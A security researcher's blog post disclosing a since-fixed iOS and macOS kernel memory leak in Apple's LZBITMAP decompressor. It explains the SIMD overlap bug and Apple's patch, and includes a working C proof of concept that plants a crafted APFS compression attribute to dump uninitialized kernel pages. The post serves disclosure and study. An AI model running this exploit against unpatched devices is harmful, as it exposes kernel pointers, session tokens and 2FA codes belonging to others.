← Blog

Self-Copy (CVE-2026-113910)

Reported July 29, 2026 · Fixed October 26, 2026 in iOS 27.2 & macOS 27.2 · CVE-2026-113910

Overlapping copies in LZBITMAP -> uninitialized kernel memory disclosure (iOS & macOS). Full 16kB pages are disclosed at ~6GB/s per thread via a crafted APFS file.

Data obtained included:

  • KASLR slide + signed kernel pointers
  • HTTP network requests from Safari (including JWTs)
  • 2FA codes and notification contents
  • Freed heap memory from 3rd-party applications

Encoders & decoders for LZBITMAP will be published shortly at ecc521/crush-lz.

Overview

COMPRESSION_LZBITMAP is a high-speed compression algorithm added by Apple in 2022. It lives in AppleFSCompressionTypeZlib (in the kernel), and Compression.framework (in userspace).

LZBITMAP offers decompression speeds comparable to LZ4 while maintaining a substantially higher compression ratio. The algorithm uses a mask to selectively copy bytes from either period bytes earlier or insert a literal value:

LZBITMAP Copy Cycle already-written output, 16 bytes back 4844522d 00000000 dest − 16 00 00 1 00 0 bitmap 0x10 bit 0bit 1bit 2bit 3 bit 4bit 5bit 6bit 7 bit 0 is the least significant bit, so bit i selects the source for output byte i 01 still unread - the next blocks' literals literal stream 4844522d 01 000000 output Seven bytes copied, one literal byte, eight bytes of output.
Figure 1. One 8-byte block copying 7 bytes from 16 bytes back (period = 16).

With ARM’s SIMD instructions, this process is incredibly fast, as the bitwise mask + copy operation can be performed 8 bytes at a time. In my testing, LZBITMAP decompressed at ~6GB/s, approximately five times faster than ZLIB compressed data.

Alas, vectorization is tricky.

SIMD Gone Wrong

Apple’s slow path decompressor is correct. The copy operation looks something like:

if (period > i) return EINVAL;
dest[i] = bitmap_bit(i) ? *literal++ : dest[i - period];

The issue occurs in the fast-path. This is (roughly) what Apple implemented:

// load 8 bytes from period back, spread the literals, pick per lane
uint8x8_t copy = vld1_u8((dest - base) > period ? (dest - period) : base);
uint8x8_t lits = vtbl1_u8(vld1_u8(literals), idx[bitmap]);
vst1_u8(dest, vbsl_u8(mask[bitmap], lits, copy));
literals += popcount(bitmap);
dest += 8;

There are two differences between the implementations:

  • The slow path considers period > bytes_written invalid, even when it does not copy, while the fast path copies the wrong bytes and returns junk.
  • The fast path copies 8 bytes at a time. The slow path copies a single byte.

Shrinking the Period

Consider the SIMD implementation again - what do we get if we decompress a file containing C x 65536 with period = 7?

It turns out that the decompressor is non-deterministic. On macOS 27.0:

block 0    C   C   C   C   C   C   C   C
block 1    C   C   C   C   C   C   C  03
block 2    C   C   C   C   C   C  03  03
block 3    C   C   C   C   C  03  03  27
block 4    C   C   C   C  03  03  27  27
block 5    C   C   C  03  03  27  27  37

And re-running gets us a different results:

block 0    C   C   C   C   C   C   C   C
block 1    C   C   C   C   C   C   C  AC
block 2    C   C   C   C   C   C  AC  AC
block 3    C   C   C   C   C  AC  AC  AC
block 4    C   C   C   C  AC  AC  AC  AC
block 5    C   C   C  AC  AC  AC  AC  AC

Every group of 8 bytes discloses a single byte from the uninitialized page. This stems from the 8-wide SIMD load copying from memory that that has yet to be initialized:

CCCC CCCC block 0 CCCCCCC CCCCCC CCCCC CCCC p8 p8p16 p8p16p24 p8p16p24p32 block 1block 2 block 3block 4 eight literal bytes 1 byte of page 2 bytes 3 bytes 4 bytes where block 1's eight bytes come from CCCC CCCC ???? ???? buffer already written block 1's own eight bytes - not yet written period 7: the load starts 7 bytes out, but reads 8
Figure 2. A run of C with period 7 replaces one byte with a byte of uninitialized memory each block.

Maximizing the Leak

Reducing period further increases the leak. We can even set period = 0, causing the decompressor to leak the uninitialized pages verbatim. Accordingly, the maximum leak (per 64kB chunk) is 8 + 8191 × max(0, 8 - period) bytes:

period01234567>=8
block 0888888888
block 1-81916552857337491464095532764245731638281910
total6553657345491544096332772245811639081998

The first all-copy block always leaks the first 8 bytes of the buffer, regardless of period, since it is clamped within bounds.

Proof of Concept

LZBITMAP is used as one of the core APFS compression formats in AppleFSCompressionTypeZlib.kext. By creating a crafted LZBITMAP file, we can leak information from the kernel page pool.

This demo stores two 32kB all-copy chunks at period = 0 inline in com.apple.decmpfs, so every page-in returns a full 64kB of uninitialized memory. As in Bytes from the Abyss, msync(MS_INVALIDATE) evicts the page cache so each loop decodes again:

// cc -o poc poc.c && ./poc /tmp/f | xxd
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <unistd.h>

#define SIZE  65536     // hdr->uncompressed_size, one decmpfs chunk
#define LOOPS 1         // 64kB of memory per loop

static void put24(uint8_t *d, uint32_t v) { d[0] = v; d[1] = v >> 8; d[2] = v >> 16; }

// One LZBITMAP chunk: 4096 all-copy blocks (32kB) at period 0
static void chunk(uint8_t *c) {
    put24(c + 0, 172);          // chunk length
    put24(c + 3, 32768);        // decoded length
    put24(c + 6, 15);           // literals end: none
    put24(c + 9, 16);           // periods end: one byte, period 0
    put24(c + 12, 17);          // bitmaps end: one byte, 0x00 (all copies)
    memset(c + 17, 0xff, 138);  // control nibbles, low nibble first:
    c[17] = 0x31;               // block 0 sets period 0, block 1 uses footer slot 0
    c[154] = 0xbf;              // ...repeated 4 + 15*272 + 11 = 4095 times
}                               // footer (17 bytes of zeros): slot 0 = all copies

int main(int argc, char **argv) {
    // header: magic "cmpf" LE, type 13 (LZBITMAP), uncompressed_size 65536,
    // then the stream: "ZBM\x09", two 32kB chunks, a terminator
    uint8_t hdr[370] = { 'f','p','m','c', 13,0,0,0, 0,0,1,0,0,0,0,0, 'Z','B','M',9 };
    chunk(hdr + 20);
    chunk(hdr + 192);
    put24(hdr + 364, 6);

    close(open(argv[1], O_CREAT | O_TRUNC | O_RDWR, 0644));
    setxattr(argv[1], "com.apple.decmpfs", hdr, sizeof hdr, 0, XATTR_NOFOLLOW);
    chflags(argv[1], 0x20); // set UF_COMPRESSED

    unsigned char *m = mmap(0, SIZE, PROT_READ, MAP_SHARED,
                            open(argv[1], O_RDONLY), 0);

    for (int i = 0; i < LOOPS; i++) {
        fwrite(m, 1, SIZE, stdout);
        msync(m, SIZE, MS_INVALIDATE); // evict; the next loop decodes again
    }
}

Proposed Fix

I was hoping Apple would implement proper support for shorter periods. My proposal was:

  • period = 0 is invalid, and should be rejected.
  • The copy width should be clamped to min(8, period) bytes.
  • A copy bit referencing out-of-bounds bytes is invalid, and should be rejected.

Things didn’t get implemented quite as I was hoping.

Apple’s Fix

The 27.2 implementation rejects a starting block containing any copy-bits, copies from the start of the buffer when 0 < period < 8, and rejects period = 0.

This is secure. It also returns wrong output:

the file's real output, ending    ... K L M N O P Q R
period 8 decodes correctly            K L M N O P Q R K L M N ...
period 3 should decode to             P Q R P Q R P Q R P Q R ...
period 3 actually returns             A B C D E F G H A B C D ...

Alas, deterministically wrong is better than leaking memory, so this counts as a win. Apple’s encoder never produces period < 8 anyways, so existing users aren’t affected.

Implications

I’m disappointed that LZBITMAP will likely never see support for shorter periods on MacOS. Shorter periods improved compression ratios by ~1% in my testing, and while practical use is limited (period >= 8 decompresses meaningfully faster), some applications might have benefited from the ratio boost.

The handling of out-of-bounds period values is also suboptimal. Consider a file containing:

ABCDEFGH00ABCDEF

We should be able to implement this as (L = Literal, C = Copy):

(LLLLLLLL)ABCDEFGH + (period 10)(LLCCCCCC)00

Unfortunately, Apple’s slow-path decoder rejects the period as invalid (despite all operations being in-buffer), and the fast-path decoder copies offset from the buffer start, rather than from start - 2:

the file's real output    ABCDEFGH00ABCDEF
Apple fast-path output    ABCDEFGH00CDEFGH
Apple slow-path output    (Error)

Due to these inconsistencies, Crush-LZ will enforce period >= 8 and period <= bytes_written in both the compressor and the decompressor to ensure compatibility with Apple’s implementation.

What’s Next

ecc521/crush-lz and ecc521/apfscompress will go public early this week, alongside an article on Apple’s existing compression setup.

Bytes from the Abyss will also be receiving a follow-up article covering additional changes in AppleFSCompressionTypeZlib in 27.2.